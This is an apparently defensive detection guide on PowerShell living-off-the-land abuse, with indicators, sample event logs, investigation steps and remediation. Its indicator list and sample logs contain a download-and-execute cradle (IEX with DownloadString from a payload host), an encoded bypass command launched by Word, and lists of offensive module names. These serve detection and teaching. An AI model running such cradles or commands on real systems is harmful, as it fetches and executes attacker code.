PowerShell Abuse — Living Off the Land

MITRE ATT&CK

Security Relevance

PowerShell-based attacks are pervasive across ransomware, APT groups, and commodity malware because they are fast to develop, hard to block without breaking legitimate use, and capable of doing almost anything the OS can do. Living-off-the-land (LOLBin) attacks use PowerShell to avoid introducing new binaries that AV would flag. Fileless attacks execute entirely in memory, leaving minimal forensic evidence. Script Block Logging (Event ID 4104) is the primary defence — it captures de-obfuscated code after PowerShell processes it, exposing encoded payloads even when attackers use multiple layers of obfuscation.

Indicators of Malicious Use

• ⚑-EncodedCommand or -enc flag — Base64-encodes the command to evade signature detection. Decode it: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('...'))
• ⚑IEX / Invoke-Expression combined with a download — classic fileless execution cradle: IEX (New-Object Net.WebClient).DownloadString('http://...')
• ⚑DownloadString, DownloadFile, or Invoke-WebRequest in script block content — indicates payload retrieval from a remote server.
• ⚑-ExecutionPolicy Bypass — used to override execution policy restrictions. Legitimate scripts rarely need this flag.
• ⚑-WindowStyle Hidden or -NonInteractive — hides the PowerShell window to prevent user awareness.
• ⚑PowerShell spawned by an Office application (winword.exe, excel.exe, outlook.exe) or a script host (wscript.exe, mshta.exe) — strong macro/phishing indicator.
• ⚑Remote PowerShell session (Enter-PSSession, Invoke-Command with -ComputerName) from a workstation to a server — lateral movement indicator.
• ⚑Known offensive module names in script block content: Invoke-Mimikatz, Invoke-ReflectivePEInjection, Invoke-Shellcode, Get-GPPPassword, Invoke-TokenManipulation.

Example Log Entry

Log Name: Microsoft-Windows-PowerShell/Operational
Source:    Microsoft-Windows-PowerShell
Event ID:  4104
Level:     Warning

Creating Scriptblock text (1 of 1):

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200/payload.ps1')

ScriptBlock ID: {c3f1a2b4-9d8e-4a12-bc34-56ef78901234}
Path:

Log Name: Security
Source:    Microsoft-Windows-Security-Auditing
Event ID:  4688

New Process Information:
  New Process Name:   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Process Command Line: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcA...
  Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Investigation Steps

1. 1.Check the parent process in Event ID 4688 — PowerShell spawned by Word, Excel, Outlook, or wscript.exe almost certainly indicates a malicious macro or phishing document.
2. 2.Look for suspicious flags in the command line: -EncodedCommand (-enc), -ExecutionPolicy Bypass, -NonInteractive, -NoProfile, -WindowStyle Hidden. Two or more together is a strong signal.
3. 3.In Event ID 4104 script block content, search for: IEX, Invoke-Expression, DownloadString, DownloadFile, Invoke-WebRequest, Net.WebClient, FromBase64String, Invoke-ReflectivePEInjection, Invoke-Mimikatz.
4. 4.Decode any Base64 payloads to see the actual command: use CyberChef (From Base64 → Decode text as UTF-16LE) or run locally: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('PASTE_HERE'))
5. 5.Check firewall and proxy logs for outbound HTTP/HTTPS connections made by powershell.exe at the same time — this reveals the C2 server or payload host.
6. 6.Check whether any files were written to disk during or after execution — focus on Temp, AppData\Roaming, and ProgramData directories.
7. 7.Check Defender alerts (Event ID 1116/1117) logged around the same time — AV may have caught the payload even if the script ran.
8. 8.Review the user account that ran the script — standard users running encoded PowerShell is always suspicious regardless of context.

Common False Positives

• ◎SCCM / Configuration Manager — uses PowerShell extensively for software deployment and inventory. Scripts are typically signed and run from C:\Windows\CCM\.
• ◎Microsoft Intune / MDM agents — push PowerShell scripts for device configuration. Usually run as SYSTEM from known Intune agent paths.
• ◎Enterprise monitoring and RMM tools (SolarWinds, ConnectWise, Datto) — regularly execute PowerShell for health checks and remediation. Verify the parent process matches the known agent.
• ◎SQL Server and other Microsoft products — use PowerShell for maintenance jobs. Check that the parent process is a known product binary.
• ◎Security scanning tools and vulnerability scanners — may use PowerShell for authenticated checks. Correlate with your scheduled scan windows.

Remediation

• ✓Enable PowerShell Script Block Logging via GPO: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging.
• ✓Enable PowerShell Transcription Logging for additional context — logs every command and output to a text file.
• ✓Block PowerShell from being spawned by Office applications using Attack Surface Reduction (ASR) rule: 'Block Office applications from creating child processes' (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).
• ✓Deploy PowerShell Constrained Language Mode via AppLocker or Windows Defender Application Control (WDAC) — this prevents access to .NET types used by most offensive tools.
• ✓Consider blocking PowerShell v2 (Remove-WindowsFeature MicrosoftWindowsPowerShellV2Root) — version 2 lacks logging and attackers downgrade to it to evade detection.
• ✓Restrict who can run PowerShell scripts via execution policy combined with AppLocker — note that execution policy alone is not a security control.
• ✓Investigate the full scope before containment — PowerShell attacks are rarely isolated; look for lateral movement, persistence, and data staging.

Related Event IDs

Related Detection Guides